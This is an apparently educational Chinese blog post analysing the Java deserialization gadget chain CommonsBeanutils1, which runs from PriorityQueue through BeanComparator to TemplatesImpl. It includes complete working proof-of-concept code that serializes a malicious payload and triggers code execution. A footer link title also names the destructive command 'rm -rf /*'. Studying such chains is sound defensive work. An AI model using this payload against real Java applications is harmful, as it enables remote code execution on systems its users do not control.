• 反序列化Gadget学习篇八 CommonBeanutils


    背景

    通过前面我们知道了java.util.PriorityQueue类实现了自己的readObject方法,可以作为一个入口,并且可以调用到transform。前面的利用链都是使用CommonCollection库里的代码实现攻击,其实也有其他的常用库也可以达成类似的效果。也就是说要寻找其他实现了java.util.Comparator的对象

    Apache Commons Beanutils

    Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
    JavaBean是一种按特定规范编写的类,主要用来保存数据。一般包括私有属性和这个属性的赋值取值方法:

    final public class Cat {
        private String name = "catalina";
        public String getName() {
            return name;
        }
        public void setName(String name) {
            this.name = name;
        } 
    }
    

    commons-beanutils则是为了更方便的使用JavaBean而开发的一个工具包,这里面提供了一个静态方法:PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter(获取某个属性值)方法,比如:

    PropertyUtils.getProperty(newCat(),"name");
    

    另外commons-beanutils还提供了一个比较方法,用来比较Bean是否为相等的类:org.apache.commons.beanutils.BeanComparator,这个类实现了java.util.Comparator接口,看它的compare()方法:

    public int compare( final T o1, final T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
    }
        try {
            final Object value1 = PropertyUtils.getProperty( o1, property );
            final Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( final IllegalAccessException iae ) {
            throw new RuntimeException( "IllegalAccessException: " +
    iae.toString() );
        }
        catch ( final InvocationTargetException ite ) {
            throw new RuntimeException( "InvocationTargetException: " +
    ite.toString() );
        }
        catch ( final NoSuchMethodException nsme ) {
            throw new RuntimeException( "NoSuchMethodException: " +
    nsme.toString() );
        } 
    }
    

    如果this.property不为空,则会调用PropertyUtils.getProperty去获取这两个对象的this.property属性,这个步骤就会自动去寻找对象的getter方法。如果有什么方法的getter方法能够执行恶意代码,就完成了整个步骤。

    这里回想一下,TemplatesImpl的利用链中,有用到了一个getxxx方法。

    TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()-> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
    

    TemplatesImpl#getOutputProperties() 正好符合Bean的getter方法的要求。
    所以这段代码PropertyUtils.getProperty( o1, property );中,o1是一个TemplatesImpl对象,propertyOutputProperties的时候,就会自动触发代码执行。

    payload构造

    首先准备好恶意的TemplatesImpl

    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    

    初始化好比较器和PriorityQueue

    final BeanComparator beanComparator = new BeanComparator();
    final PriorityQueue queue = new PriorityQueue(beanComparator);
    queue.add(1);
    queue.add(1);
    

    反射修改属性,queue的值改为恶意的TemplatesImpl对象,比较器BeanComparator的property改为outputProperties,以调用getoutputProperties方法。

    setFieldValue(beanComparator, "property", "outputProperties");
    // 将队列中的两个元素改为TemplatesImpl对象
    setFieldValue(queue, "queue", new Object[]{obj, obj});
    

    成功弹出计算器

    完整代码

    package changez.sec.CommonBeanutils;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassPool;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    import changez.sec.shiro.Evil;
    
    public class CommonBeanutils {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
            Field f1 = obj.getClass().getDeclaredField(fieldName);
            f1.setAccessible(true);
            f1.set(obj, value);
        }
    
        public static void main(String[] args) throws Exception{
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
            final BeanComparator beanComparator = new BeanComparator();
            final PriorityQueue queue = new PriorityQueue(beanComparator);
            queue.add(1);
            queue.add(1);
    
            // 将BeanComparator的property改为OutputProperties,比较时调用getOutputProperties()
            setFieldValue(beanComparator, "property", "outputProperties");
            // 将队列中的两个元素改为TemplatesImpl对象
            setFieldValue(queue, "queue", new Object[]{obj, obj});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);
    
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
  • 相关阅读:
    MySQL Online DDL导致全局锁表案例分析
    .NET Core教程--给API加一个服务端缓存啦
    任务队列和异步接口的正确打开方式(.NET Core版本)
    .NET Core中使用RabbitMQ正确方式
    .NET Core单元测试之搞死开发的覆盖率统计(coverlet + ReportGenerator )
    没有执行过rm -rf /*的开发不是好运维
    dotnet core在Task中使用依赖注入的Service/EFContext
    可能是全网首个支持阿里云Elasticsearch Xapck鉴权的Skywalking
    dpdk中QSBR具体实现
    C语言二级指针底层实现
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonBeanutils1.html
Copyright © 2020-2023  润新知